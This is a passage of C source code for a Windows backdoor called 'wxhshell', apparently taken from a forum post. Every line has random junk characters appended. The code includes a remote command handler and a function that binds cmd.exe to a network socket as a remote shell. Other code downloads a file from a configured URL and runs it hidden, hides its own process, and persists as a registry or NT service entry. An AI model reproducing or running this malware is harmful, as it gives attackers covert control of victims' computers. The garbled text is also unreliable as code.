      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hn5|B 3vN  
    break; Bq D'8zLD  
  } v(ZYS']d2  
  // 安装 l'/R&`-n  
  case 'i': { *>n;SuT_  
    if(Install()) P)Rh=U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .J)I | '  
    else O(D ~_O.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CGY]r.O*  
    break; i{`FmrPO~  
    } o<COm9)i  
  // 卸载 \s=t|Wpu2  
  case 'r': { G9xmmc  
    if(Uninstall()) `(_s|-$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NQ(1   
    else 3%E }JU?MM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [AYOYENp-  
    break; '8!Y D?n  
    } F'4w;-ax  
  // 显示 wxhshell 所在路径 5=v}W:^v.  
  case 'p': { p i %< Sy  
    char svExeFile[MAX_PATH]; A OISs4  
    strcpy(svExeFile,"\n\r"); bdC8zDD  
      strcat(svExeFile,ExeFile); IsZHe lg  
        send(wsh,svExeFile,strlen(svExeFile),0); Xejo_SV&?  
    break; nbm&wa[  
    } lQ" p !  
  // 重启 *K|W /'_&  
  case 'b': { K{|p~B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3RYpJAH  
    if(Boot(REBOOT)) YH vLGc%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $8 UUzk  
    else { CE#gfP  
    closesocket(wsh); *=]&&<  
    ExitThread(0); 9 Vkb>yFX'  
    } fVF2-Rh=  
    break; [@J/eWB  
    } QZ6D7t Uc8  
  // 关机 l_o@miG/  
  case 'd': { _F>CBG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oW ::hB  
    if(Boot(SHUTDOWN)) }4 )H   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fI&t]   
    else { -w9pwB  
    closesocket(wsh); B:'J `M"N  
    ExitThread(0); N5Q[nd  
    } w_.F' E  
    break; #Y*X<L  
    } T ]t'39  
  // 获取shell W42 iu"@  
  case 's': { ~;l@|7wGz  
    CmdShell(wsh); 7HIeJ  
    closesocket(wsh); d,+Hd2o^X  
    ExitThread(0); ]^h]t~  
    break; ,:%CB"J  
  } U{2BVqM  
  // 退出 [@VP?74  
  case 'x': { 1oR7iD^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9IjIIM2y  
    CloseIt(wsh); Bt@^+vH ~  
    break; wPQH(~k:  
    } 7j@Hs[ *  
  // 离开 (SpX w,:  
  case 'q': { q]T1dz?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VCV"S>aVf  
    closesocket(wsh); )eUh=eW  
    WSACleanup(); cqQ#p2<%  
    exit(1); kZR8a(4D  
    break; 8EW_V$>R  
        } GWZ }7ake  
  } |:nn>E}ZA/  
  } \y97W&AN  
Jl( &!?j  
  // 提示信息 JZ)RGSG i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &5\iM^  
} PQy4{0 _  
  } Lt u'W22  
3eb%OEMYk  
  return; Oxm>c[R  
} 9]k @Q_  
9B{k , 1  
// shell模块句柄 c/D+|X*  
int CmdShell(SOCKET sock) 9+j0q%  
{ qB5j;@ r  
STARTUPINFO si; ,|3MG",@@h  
ZeroMemory(&si,sizeof(si)); &TUWW/?T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,c;Kzp>e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xcd#&  
PROCESS_INFORMATION ProcessInfo; bWH&P/>  
char cmdline[]="cmd"; Z_$%.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /NLui@|R  
  return 0; $mu^G t  
} .!Oo|m`V@  
P@Hs`=  
// 自身启动模式 '.on)Zd.  
int StartFromService(void) pV9IHs}  
{ y^;#&k!  
typedef struct o*b] p-  
{ qB~rQPa  
  DWORD ExitStatus; (SWYOMo"  
  DWORD PebBaseAddress; vq0Vq(V=  
  DWORD AffinityMask; gR&Q3jlIV  
  DWORD BasePriority; aT{_0m$G10  
  ULONG UniqueProcessId; ;ic3).H  
  ULONG InheritedFromUniqueProcessId; -f3p U:G8  
}   PROCESS_BASIC_INFORMATION; eX?OYDDC0j  
)Lk639r  
PROCNTQSIP NtQueryInformationProcess; C;;Sih5  
~Y`ldL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 69PE9zz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l}a)ZeR1  
2POXj!N  
  HANDLE             hProcess; F0pir(n-  
  PROCESS_BASIC_INFORMATION pbi; n D0K).=Q  
 .t{MIC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8LyD7P 1\  
  if(NULL == hInst ) return 0; }{,^@xdyW  
PxTwPl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iNWw;_|1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q]\:P.x!>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Umz KY  
US+Q~GTA  
  if (!NtQueryInformationProcess) return 0; BHIRH mM<Y  
|EIng0a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V3 9g,=`b%  
  if(!hProcess) return 0; cpe+XvBuK  
HD@$t)mn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3]OE}[R  
&VhroHO  
  CloseHandle(hProcess); ++bf#qS<8D  
."TxX.&HE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T%x}Y#U'`  
if(hProcess==NULL) return 0; $'0u|Xy`  
1[mXd  
HMODULE hMod; /vY(o1o x  
char procName[255]; ob+b<HFv  
unsigned long cbNeeded; ~De"?  
9"@\s$ OBk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~t@cO.c  
dl.N.P7}4  
  CloseHandle(hProcess); $CxKuB(  
P]<4R:yb  
if(strstr(procName,"services")) return 1; // 以服务启动 jG6]A"pr  
jTf@l?|  
  return 0; // 注册表启动 6h>wt-tRC  
} b IH;  
gMv.V{vD  
// 主模块 5uGqX"  
int StartWxhshell(LPSTR lpCmdLine) )) Zf|86N  
{ G !<Z.]  
  SOCKET wsl; #&cI3i  
BOOL val=TRUE; 1;d$#j  
  int port=0; ]fm'ZY&  
  struct sockaddr_in door; 3ovWwZ8&  
ylUrLQ\  
  if(wscfg.ws_autoins) Install(); < z+t,<3D  
yTyj'-4  
port=atoi(lpCmdLine); ,K>I%_!1  
*xc_k"\  
if(port<=0) port=wscfg.ws_port; LO'**}vm  
,c$,!.r  
  WSADATA data; Q.bXM?V)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H1 2Fw'2  
~aw.(A?MI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z<U6<{b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1ofKt=|=  
  door.sin_family = AF_INET; 3NZK*!@ '  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _my"%@n  
  door.sin_port = htons(port); 6.FY0.i  
gep;{G}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wWgWWXGT}  
closesocket(wsl); r)qnl9?;`]  
return 1; 5&xB6|k  
} yH7F''O7  
X$%'  
  if(listen(wsl,2) == INVALID_SOCKET) { Ytgcs( /$  
closesocket(wsl); so^lb?g  
return 1; {2qFY 5H  
} tv>>l%  
  Wxhshell(wsl); , l%C X.9  
  WSACleanup(); 85lCj-cs  
7}1~%:6  
return 0; =nz}XH%=  
7ByTnYe~S  
} Gb"r|(!  
k- Q%.o  
// 以NT服务方式启动 XttqO f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W egtyO  
{ INUG*JC6  
DWORD   status = 0; c/Qt Ot  
  DWORD   specificError = 0xfffffff; b`L%t:u{d  
`(T,+T4C5k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^L0d/,ik  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o5xAav"+>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :iFIQpk  
  serviceStatus.dwWin32ExitCode     = 0; 5>VY LI  
  serviceStatus.dwServiceSpecificExitCode = 0; >Wh}f3C  
  serviceStatus.dwCheckPoint       = 0; XXbqQhf  
  serviceStatus.dwWaitHint       = 0; $4-$pL6"  
vesJEaw7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6cpw~  
  if (hServiceStatusHandle==0) return; )q 0.0<f  
"@evXql3`  
status = GetLastError(); ^Y<|F!0  
  if (status!=NO_ERROR) 9Kg21-?  
{ . 7zK@6i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q#^Qv.s?K  
    serviceStatus.dwCheckPoint       = 0; b'P eH\h{  
    serviceStatus.dwWaitHint       = 0; "dsU>3u  
    serviceStatus.dwWin32ExitCode     = status; ;?W|#*=R  
    serviceStatus.dwServiceSpecificExitCode = specificError; }YjX3|8zL=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6`!Fv-  
    return; ng:kA%! Q  
  } N+zKr/  
!(q sD+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KQcs3F@t  
  serviceStatus.dwCheckPoint       = 0; DvPlV q~  
  serviceStatus.dwWaitHint       = 0; x&^_c0fn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;GVV~.7/  
} .P.z B}0=  
J~B<7O<?!1  
// 处理NT服务事件,比如:启动、停止 \(VTt|}By$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gq_-Val]"  
{ ;=geHiQHA  
switch(fdwControl) +zu(  
{ o[v\|Q`d  
case SERVICE_CONTROL_STOP: >RPd$('T  
  serviceStatus.dwWin32ExitCode = 0; 7a#4tqM#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vy_D>tp  
  serviceStatus.dwCheckPoint   = 0; !iH-#B-  
  serviceStatus.dwWaitHint     = 0; _2k]3z?  
  { d}LRl"_n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RG3l.jL  
  } ZIPl7tTw  
  return; uum;q-"  
case SERVICE_CONTROL_PAUSE: &=<x#h-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _9tK[ /h  
  break; af#pR&4}   
case SERVICE_CONTROL_CONTINUE: O=v#{ [  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GiP`dtK   
  break; ( Fynok  
case SERVICE_CONTROL_INTERROGATE: @[#$J0q q  
  break; =`*O1a  
}; /CuXa%Ci^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lY~4'8^  
}  %ObLWH'  
)x}l3\s  
// 标准应用程序主函数 )+6v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d)@<W1;  
{ b !%hH  
nB%;S  
// 获取操作系统版本 CbPuoOl  
OsIsNt=GetOsVer(); R)F;py8)I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N=5)fe%{4  
=Zu^80/  
  // 从命令行安装 VOc8q-hK  
  if(strpbrk(lpCmdLine,"iI")) Install(); fLSXPvm  
HDda@Jy  
  // 下载执行文件 MZTx:EN!  
if(wscfg.ws_downexe) { 5DXR8mLoaJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /;7y{(o  
  WinExec(wscfg.ws_filenam,SW_HIDE); ({-GOw46  
} !).}u,*'no  
RlqQ  
if(!OsIsNt) { "V>R9dO{"!  
// 如果时win9x,隐藏进程并且设置为注册表启动 r'dr9"-{  
HideProc(); Nru7(ag1~  
StartWxhshell(lpCmdLine); c&X{dJWD   
} #'-Sh7ycW  
else aM@z^<Ub  
  if(StartFromService()) ,h{A^[yl  
  // 以服务方式启动 @*0cMO;SpG  
  StartServiceCtrlDispatcher(DispatchTable); )J_\tv  
else rQOWLg!"  
  // 普通方式启动 !eAo  
  StartWxhshell(lpCmdLine); b{d4xU8'  
:U d  
return 0; #Hvq/7a2R  
}
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只看该作者 1 发表于: 2006-10-10
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